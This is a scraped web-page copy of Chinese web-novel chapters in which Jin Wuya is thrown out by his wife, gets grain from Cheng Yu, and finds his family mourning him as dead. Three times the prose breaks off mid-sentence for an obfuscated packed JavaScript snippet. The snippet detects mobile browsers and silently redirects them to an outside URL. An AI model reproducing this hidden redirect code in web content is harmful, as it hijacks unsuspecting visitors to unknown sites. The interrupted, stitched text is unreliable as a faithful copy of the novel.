35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076921|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不辛苦不辛苦,命苦。为了你们阿爹再苦也值得!”金无涯顺嘴说道。“你们阿娘呢?醒了没?” “醒了,阿娘在屋子里头,阿爹进去找她吧。” 金无涯便把自己买的一套妇人穿的成衣和鞋子还有一支木钗子带进去,“纯儿,你看我给你买了什么。” 金大娘这会儿也没有干净的衣裳穿,正裹着金无涯的外袍坐在床上, 她有个很好听的闺名,叫木纯,只儿时尚在闺中的时候,爹娘兄姐叫过她小名,嫁给金铁锤后,他也不害臊亲亲热热喊她纯儿。这些年,随着丈夫从未归家,旁人都喊她金大娘,她差点忘了自己的本名。 这一时听着人有些恍惚,更见他贴心地拿了这么多东西进来,心中觉得熨帖和感动,嘴里亲热怪道:“没成算,又大手大脚乱花了。” “为了纯儿,我什么都愿意做,买这点儿东西算什么,这么多年没有给你丁点半点,为夫心里愧疚。” 金二壮趴门口听了会儿,嘴角偷偷翘了翘,看来爹虽然不负责任了点,对阿娘还是衷心的,这个家散不了。 想起别人家娃有爹有娘的幸福日子,少年也不免憧憬快活了下。 罢了,就给渣爹一个机会吧。 过不到一会儿,随着金大娘一声怒吼,金无涯狼狈地跑出房门,他俊美白皙的脸上多了几道抓痕。身后追杀出来的是已经穿好新衣裳披头散发的金大娘,赤着脚,手里抓着金无涯买来的两只新鞋子,状若疯癫。 “老娘就不该信你个大混球!你怎么这么没谱儿的啊,我告诉你,要是我们娘儿几个没了活路,我就把你生吞活剥了炖汤吃!” “老娘这辈子最后悔的是从小就被你那张脸迷了魂儿!要不然也不会明知你这人做事从没谱儿,万事也只顾着自己个儿爽快,从不考虑旁人,还嫁给你!可怜我一个人养三个孩子到这么大,好不容易以为能靠上你了,结果给老娘整这出!可怜三个儿女,怎么就摊上你这么个爹!” 金二壮:“……” 虽然不知道发生了什么,但看阿娘气成这样,感觉不太妙。他转头看向小病秧子,这一路走来,他算是看清楚了,这小鬼精得跟什么一样,甭管什么事,看她反应准没错。 金藐淡定地坐在堂屋的饭桌前,吃着爹爹打包来的东西,她胃口不太好,吃东西总得细细咀嚼,金二壮看阿娘都提着菜刀追出去了,大哥也跟着追去了,这家伙也没半个反应,他急得抓耳挠腮,“这才刚进城,刚见到阿爹,阿娘就跟阿爹吵成这样了,你就不担心?” 小金藐问:“担心什么。”她嗷地张开嘴巴,吃进去一颗丸子,这丸子不知道什么做的,Q弹滑嫩口感香甜,好吃得很。 金二壮:“……当然是到底发生了什么才把阿娘气成那样!!!你到底有没有心啊!都这样了,还有心思吃呢!小病秧子我告诉你我可忍你很久了!” “我没要你忍我,阿娘能养我们这么大,她在做什么,她心里清楚,不用多管闲事。” “那阿爹呢?” “不熟。” 金二壮:“……” 少年气得抓了抓头发,干脆也追出去了,结果才刚踏出屋门,阿娘和大兄就回来了。 金大娘一路骂骂咧咧地走进来,可问她发生了什么她又不说。金二壮知道若是小病秧子肯问,她定会说的,可小病秧子似乎并不太关心发生了什么。 她只慢吞吞说道:“阿娘莫急,实在不行,把阿爹赶出家门吧。” 金大壮金二壮:“……” 8.可恨 万万没想到,媳妇刚来找第一天晚上,温柔乡没有的,儿女绕膝孺慕喊爹叙旧的温馨场景也是无,还被赶出了家门。 春天的夜晚过于凄冷,金无涯拢紧了敞开的领口,脚步虚浮地在街道上走着,这会儿天色已黑,除了少许几家饭馆开着,就只有全城唯一一家的酒楼,还有几家酒馆开着。 金无涯摸摸肚子有些饿了。方才给儿女们打包了吃的回去,自个儿还没吃呢,就被赶出来了。 酒楼他是去不起的,饭馆这个点儿了现炒的菜是死贵死贵的,那便只能去酒馆像往常那样打二两酒喝着暖和暖和,若是有点什么垫垫肚子就更好。只是卖酒的就只卖酒,最多卖点切肉,肉嘛金无涯吃不起。 这会儿金无涯想起了他那些好同僚们,其实他大部分同僚出身都不错,就算不是什么世家大族出身,也大都家底都殷实,富贵逼人。如他这样从乡下农门出身的没有,最少也是个寒门破落户,再不然祖上也是耕读世家。 金无涯数数自家,祖上是什么不知道,不知道打哪儿冒出来,反正他从出生起就只见过自己爹娘,没见过其他长辈。他们家姓金,村里的人都姓木,祖上也不是一伙儿的,他们家很可能是外来定居的。 他爹说祖上可能打铁的,有一门打铁手艺,幼时死活要他学会,传承下去。可惜他志不在此,只想读书出人头地,好在家里还有个弟弟金铁板。 铁板阿弟倒是乖也实在,学了这手艺,日子虽然不见多好,也成家立业踏踏实实过着,他爹对他恨铁不成钢,恨得直咬牙说没他这个儿子。 金无涯想着自家的事儿,也不知道老爷子怎么样了,还没来得及问自家老妻,就被赶出来了。有弟弟在,就算老妻带着孩子出来找他了,老爷子应当也无忧。 不是,想这些干啥啊。金无涯往前头捋了捋,方才他是在想他那些富贵逼人的好同僚们对吧,也是,这会儿,他肚子空空,就想来二两酒,有个什么吃的垫垫肚子,酒再喝下去,别提多美了。 这里离谁家最近呢,去蹭蹭?不然借点儿? 金无涯往前走了数十步,抬头一看,程府。 他抿了抿嘴,脚步一抬,身子一转,告辞。 有时怕什么来什么,现实就是这么不讲道理。就好像他游历在外时曾碰见过一个自杀狂人,也是个读书人,听说自视甚高,孤芳自赏,自以为才情可堪天,可现实总处处碰壁,找不到赏识他的伯乐,后来家业败光了连生计也很难维持下去,他从此就失了志,天天想着怎么结束自己的烂命。 谁知道总是遇见稀奇古怪的事情,想死也死不成,想活也没法好好活,后来他心一横不想死了,想方设法怎么好好活儿,终于给他等来好时机,有一位世家公子途径他们这地儿,他准备去拜访这位公子毛遂自荐,结果才刚出门,就被一头乱窜的马儿一脚踩死了。 恰在此时,只听见吱嘎声儿,程府大门开了。这开门声听在金无涯耳朵里像是放大了无数倍,就好像从天上传来的,听得他头皮发麻,一股血气往脑门上窜。 他连头也没回,脚步一抬,就预备跑远了。 此时不跑更待何时? “站住!金铁锤,就这么怕见某?” 金无涯假装没听见,听见了也不是在叫他,他早改名了,他叫金无涯!感谢这个乱七八糟的世道,正牌官府塌了,主公建立的这个新阵地新衙门,他想怎么改名就怎么改,反正户口落这里了。 身后浑厚的声音再度加重加大,“金、铁、锤!你再不停下,明儿就收拾包袱滚蛋。” 这句话可谓是击中了金无涯的要害,你可以羞辱他,可以看不起他,可以各种办法折腾他,但唯独不能触碰他赖以生存的这份金饭碗! 金无涯秒转身,看着程昱。 程昱背着手站在自家大门口,身边跟着几个随从,那些随从面无表情,夜色黑瞅不见他们比平常更红的脸。 “过来。” “再过来,走近点。”金无涯一步一步挪过去,直到站在了程府大门台阶下,才停下。 他看着地面上,两手放在身侧两旁,上身微弓,“程公有何事吩咐?在下听着。” 程昱挥了挥袖子,不知为何,这个人这个姿势看着乖顺得很,没有半点不敬之处,可他却一见他这样子就气不打一处来。 “听说你今儿下午在小厅里,干了件大事儿?” 金无涯立马回说:“哪能呢,我这么废,咋能干大事,程公您肯定误会了。” 程昱:“拿我名号,编造谎言,以考核为名目,骗取同僚财物?” “不不不不不不,您误会了!天大的误会!程公!我怎么能做这种事,我说的都是实话啊……就是,考核题目确实撒了点点善意的谎言。您想啊,有思考必有所得,圣人都说不能放弃思考,眼下我们主公霸业未成,我们作为他忠实的部属怎么能放弃思考呢?所以我出考题也是想要增加他们的思考对吧。您的考核题目加上我这个题目,这不是双倍思考了?也许哪天就派上用场了。” 程昱:“这么说,你还立功了?” “立功不敢,在下只是略尽绵薄之力而已,谁让在下只有一颗忠诚的心……” “闭嘴,金铁锤再胡咧咧,我现在就让人把你押入大牢!” 金无涯跪了下来,程昱以为他是害怕了想认错,冷哼一声。金无涯再度抬头,眼泪弥漫上眼眶,看着程昱。“程公,您也知道我妻儿来投奔我了,可怜我身无长物,平常奉银所得也只够自己吃住,哪能攒下什么?看着我的妻儿老小一身破烂的样子,肚子也饿得咕咕叫,我那最小的孩子才四岁,她瘦得比人家三岁小孩个头还小,我这个当爹的怎么能不心酸?我就只好找同僚们借点儿了。” 程昱盯着金无涯那双眼睛看,不错眼地看,这厮也不像演的,他说的也确实是实话,这厮出身贫寒,眼下妻小投奔,正是紧张短缺的时候。 金无涯叹了声,继续说道:“我愁得吃不下饭睡不着觉,这不,大晚上的还在街上晃悠,想要借酒浇愁,可我不行啊,我不能把钱浪费在这上面,我得把……” “行了。阿大,给他一石粮食。” “是,老爷。”随从阿大转身进去,准备给金无涯取粮食。 金无涯没想到峰回路转还有这好处,感激涕零地抱住了程昱的大腿,“大人!难怪我晚上听着您叫我的声音就仿佛听见了从天上传来的仙人的声音,震耳欲聋!我回头看见您的身影,就好像看到了天上仙人高大恢弘的身影,不敢直视!原来,您就是我的天神,是我的大救星!冥冥中定是老天爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084076|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指引我走到您的府前……” 程昱:“……滚吧。” 阿大的办事效率很高,很快就把粮食取来的,一石粮食(约莫三十公斤)他粗壮的胳膊单手就能提着,啪的一声放在程昱的面前,溅起了无数灰尘。 “拿走。” 金无涯低头看看那一大袋粮食,再看看阿大粗壮结实比一般习武人更壮了一圈的身板子,再看自己瘦弱的胳膊腿儿。 他苦了脸,“程……” 程昱:“自己拿走。” 程昱方才说给这厮粮食的时候,说完就后悔了,他本来是准备收拾这厮的,怎么就平白无故倒给粮食?可这会儿瞧见这货面对这一石粮食愁眉苦展,无助可怜的样子,他倒是觉得痛快了,甚至起了一丝兴致,饶有闲情地看起好戏来。 金无涯等了会儿,见程昱果真不打算派人帮他把粮食抬到家中,只好蹲下来试着抱了抱粮袋。结果使出了吃奶的劲儿,也仅仅只是稍稍抬起了一点点儿,照这样看,别说抱回家了,就是单从地上抱起来走两步都难。 他瞪着这袋粮食,就像是在看仇人,最后只好两只手拖着两袋走,这办法果然是最好的办法了。 程昱心善,不,他不是心善,他是见不得糟蹋粮食,吩咐阿大回去给他拿了两个厚实的袋子,多套了两层上去。金无涯就这么一路艰辛地拖着粮食往回走。他的命怎么那么苦啊,二两酒还没吃到呢,肚子饿得咕咕叫,浑身发冷乏力,还要拖着一袋这么重的粮食归家。 金无涯明悟了,程公是故意整他的。 换成平常,他可能为了自己的舒服,说不得半路就把这袋粮食落下了,可如今想起老妻儿女来投奔自己,正是缺花用的时候,这袋粮食也能够他们吃小一阵子了。 于是再难再苦再累他也咬着牙往回拖。 夜色下的鄄城街道,出现这样一幕,瘦弱俊美的男人,使着吃奶的劲儿一步一挪地费劲巴拉地拖着一袋粮食走着。 有几个游手好闲的宵小混混看得流哈喇子,很想把粮食抢走,不过走近一看,这家伙好像是白天里在城里出了名的那几个乞丐的爹,听说这家伙是在曹公手底下做事的,那是公家人是官人,不好惹的,也就作罢。 宵小正想转身走,金无涯瞧见了,喊人过来,“你们谁去攒竹街狗儿巷一百零八号,去把我儿子大壮喊来,我给你一碗米。” 几个宵小眼珠子一转,都想接这活儿,可一见这么多人,一碗米哪够分啊,就自己打了起来,金无涯叉着腰在原地喘气,看他们打完了决出胜负,最后赢的那人跑去喊人了。 金大壮蒙着脸过来,在几个小混混羡慕的注视下,被阿爹指使着把一袋似乎是粮食的东西抗在了肩膀上回家。 “阿爹,你去哪儿了?晚饭也没吃,阿娘虽说生你气,我却看得出来,也担心你呢。” “阿爹这袋子里是什么?摸着好像是粮食?你哪来这么多粮食?” “阿爹怕你们饿着啊。”金无涯喘着气说,他觉得自己一口气要厥过去了,可恨的程老贼! 金大壮心里感动,他觉得阿爹不像是阿娘嘴里那么不负责任的人,阿爹这些年或许也有苦衷,你看他即使与阿娘吵架,被迫大晚上在外头吹冷风,也不忘想着怎么往家里弄点粮食,好养活他们! 9.考核 金无涯回来的时候,正想跟老妻炫耀炫耀他带回了一石粮食,谁知道老妻已经抱着闺女在他的房间里睡下了,房门也落锁了,无奈他只好和两个儿子在书房里打地铺睡。 这天儿夜里最是冷,春夜湿气重半夜凉飕飕的,父子三人裹着一条被子,紧紧抱成一团。 俩儿子都是青少年,身子骨好着呢,金无涯就不行了,总觉得着凉了,一早上醒来就狂打喷嚏。 他开门一看,一家子都已经起床,老妻在堂前的高桌上不知道摆弄着啥,两个儿子在喝粥,小闺女边喝粥边打瞌睡。 “小阿藐没睡好?阿爹……”说着,他停了下来。 他老妻正在招呼孩子过去,只见高堂前的桌上,放了一块牌位,牌位前放着一盏香炉,老妻点了几根香,“过来,都给你们阿爹上香。” 他的木纯儿自己拿着一根香,往牌位上拜了拜说:“孩儿爹,今天是我们到兖州鄄城的第一天,所幸是找着你了,也有了落脚地,咱老家是回不去了,出来时把阿爹分给我们的田地房屋全卖了,才凑了点盘缠,买了辆驴车上路。” “没办法啊,我也不想卖家业的,可连着几年干旱地里粮食欠收不说,一年前不知道打哪儿来了一伙乱军,就驻扎在咱们县城,平常烧杀抢掠无恶不作,后面还强行征兵,家里甭管有几个男娃,只要上了十岁,都得去军营。” “你想咱老金家就大壮二壮俩男娃,都给征走了以后怎么办?再说你闺女又那么小,身子不好需要照顾,所以老爷子虽不舍得孩子却也赞成我们离开……你呢,在天之灵,就好好保佑我们,在这鄄城好生住下,日后孩子们不求有个好前程,只盼平平安安,有吃有住,生活无忧。” 金无涯茫然地走了过去,茫然地开口:“纯儿……我在这儿呢?我没死啊,我在这儿呢!” 金大娘没搭理他,招呼孩子们给爹也上上香。 “都麻溜点儿,让你们爹保佑你们以后都平平安安的。” 金大壮从阿娘手里被强行塞进来一根香,他满脸的茫然疑惑为难。金二壮就爽快多了,捂着嘴巴嘻嘻贼笑,有模有样给牌位拜了拜,上了香,嘴里念念有词:“阿爹啊,您在天有灵,庇佑我早点发大财,给您娶一门漂亮温柔儿媳妇!” 金大壮偷偷拍了拍阿弟的脑袋,这个不孝弟弟! 金无涯感觉自己被所有人无视了,他不禁大喊:“纯儿!我在这儿呢!我才是孩儿爹!我才没死!我在这儿呢!在这儿呢!你看看我啊!你倒是看看我!” 金大娘只管上了香,走过去把小闺女也抱了过来,“来给你阿爹也拜拜。” 金藐:“……”好叭。 金无涯感觉自己还没睡醒呢,他掐了掐自己的脸,一定是起床的方式不对。他回屋又从头起了一遍,再出来,发现还是那场景。牌位还在,牌位上写着“亡夫金铁锤”,仔细看那小字,生于xx年,猝于的年份却是四年前。 无论金铁锤怎么喊话,怎么搭话,怎么彰显存在感,这个家里都没有人搭理他。金大壮是不敢,金二壮是故意,金大娘就不知道了,踏踏实实地忽视了他,仿佛他是一团空气,小闺女从头到尾打着瞌睡,小脸蛋给苍白的,定是刚来了这里水土不服昨晚上没睡好,听说小闺女早产身子素来病弱,这一路来又缺衣少食风餐露宿,定是吃了不少苦,金无涯心里心疼着呢,哪好打搅她。 正在抓狂之际,邻居来了。 邻居的张大娘和小孙子带着几张早上刚烤好的饼子过来。 “金家的,我昨儿个就听见动静了,你们热热闹闹地来,满城都知道了,我这做邻居的不能当不知道,不过昨天太晚想着你们也忙着便不好意思来打搅,今儿一早,我多烤了几张饼子,你们吃着,这可是正宗的兖州大烧饼,外酥内软,一口咬下去香着呢。” 金大娘瞬间露出笑意,接过饼子放在桌上,手拉着张大娘坐下,“你们吃了没?我早上熬好的粥,热乎呢,正好配这饼子。” 张大娘笑着忙说好,心说金家这个昨儿只是匆忙间从墙头看了一眼,似乎晕过去了,是她儿子抱回来的,昨天那磕碜的,一家子没一个体面的,今天一瞧,倒是全家都生得挺齐整挺俊俏的。 除了金大娘…… 不过仔细看看,金家这个虽说表面看着是沧桑了些,皮肤不太好,黑了皱了,脸型也不够秀气,那双眼睛,那眼神,仔细瞧,却很出彩很有神韵。 都说五官之中目为神,皮肤是环境养出来的,常年劳作风吹日晒自然养不出好肤色,相貌脸型五官是爹娘给的,这些后天再如何倒腾也没法使它变形,但唯有这眼神,是最真实,最能反映一个人精神气的。 她觉得,这金家的,应当不错。 这么想着,正要寒暄说几句好听的话,却忽而瞧见他们家高堂桌上摆着的牌位,插着几根香。金无涯频频欲言又止满脸为难地望来望去,她总觉得有异,想多看几眼,却被金无涯挡住了。她更觉得奇怪了,好奇走过去。 张大娘的老爹是私塾先生,早年她也习得几个字,下意识念出来:“亡夫金铁锤……” 金无涯赶紧把牌位啪的一声盖下来。 张大娘抽搐着嘴角,瞧瞧这个,再瞅瞅那个,找个借口带着孙儿离开了。 金无涯生无可恋去府衙上班去了,早饭只喝了半碗粥。 要不是他身子不好,不吃早饭会肚子痛,他兴许半碗粥都喝不下去。 这日子,跟他想的不一样啊。 “子归啊,一大早的发什么愣啊,想啥呢?” 金无涯声音有些发飘,“我在想,人活着干啥呢。” “活着干活啊!活着干啥!还不赶紧做事!”从事走过来,拍了下桌子,“你们这帮人,干啥啥不成,吃饭第一名,才一大早上呢,就想着浑水摸鱼,别以为主公不在就没事儿做,都给我警醒些!” 等从事走过去,那同僚在金无涯耳边说:“别怕,姓白的儿子听说昨天因为在城门口造谣闹事,被士兵抓进大牢了,昨晚连夜捞人呢还没捞出来,说不定今天得去找程公求情。” “这位可是毛公的人,你想想毛阶大人和程昱大人势同水火的样子,程大人能替他的狗腿子办事?可惜毛大人随主公出征了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087823|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这位要是不回来,他儿子就得一直待牢里,你说那士兵是不是知道点啥,故意的啊。” “要不然就是程公授意的。” 金无涯:“我们虽然是干这行的,但别整天阴谋论了,程公何许人也,哪会记得一个小小从事的儿子,还特意吩咐人针对他。” “那你说他儿子到底昨天城门口闹啥了,造啥谣?” “说起昨天……我昨晚下班回家才听我老娘夫人说起你,原来昨天是你妻儿来鄄城找你了!这是大好事啊,要不要请客庆祝一家团圆!这两年见你一直一人,还以为你是鳏夫寡汉呢!可惜了这张脸。” 白从事前脚背着手愁眉苦脸满身怨气地从厅里走出去,后脚里面就淅淅索索地闹开了。 又一人冷嘲热讽开口:“我听说他那老妻孩子都挺上不得台面的,是乞丐来着,哈哈哈就这样的老婆孩子他哪好意思拿出手?” “怎么这么不凑巧,老天爷也不站你这啊,子归兄,你说后天马上到了,就算你知道考核题目是什么又如何,咱考核不单是考题,更重要的是平时的业绩!别说这个月,就是这一整年,你连半点贡献都没出,一个计策也没献上,程公怕是不会留你了。这当口,你要是被赶出去了,回头拿什么养家糊口,我知道你出身不好,不如到时候来我家做个长工,倒是能管你一碗饭。” 要是老妻孩子没来找他,等真的到了山穷水尽又被赶出去的地步,这家伙这么说,他说不定还真会感激他,可这会儿,金无涯冷着脸看着说他妻子孩子上不得台面的那位,“长舌妇都没你能唠,你知道白从事儿子为什么被抓进大牢吗?因为昨天在城门口他造谣闹事的对象正是我的妻子孩子!” 唰的,众人齐齐望向金无涯。 难道是程公特意为他撑腰张目? 金无涯低头看着今天的文书。不再开口说话,明天就考核了,程昱会手下留情吗?应当不会,且不说他得罪了他,就说工作上程昱从来大公无私,刚硬正直,不会为了任何一个人而违反他的原则。 四年前……四年前发生了什么?四年前是个啥日子?四年前……他漫无边际地思忖。 这会儿有个人进来,打断了小厅里的窃窃私语:“传程大人令:明日申时前,交上一篇文章,题目:“防”。” 小厅里议论开来,“为何程公一反往常提前一日下了考核题目?” “而且是少见的题,仅一个防字,这是什么意思,不限制从任何方面入手?这题有点难啊。” “应是说战争中作为被攻的一方要如何防守,战术、防务、军备、粮草、天时地利人和?” “可这题……在我们曹营很少见啊,主公做事风格常常是主动出击,通常是我们打别人,而不是别人打我们。如今吾等处于鄄城中心,又非战时,程公出这个题作甚?” 就在众人讨论的时候,金无涯被人围住了,好几个昨天被金无涯忽悠买了考题的人面色狰狞地围住了他,“金无涯!” 金无涯瑟瑟发抖地抱住了脑袋,缩在桌子底下。 他知道,程老贼绝对绝对是故意的!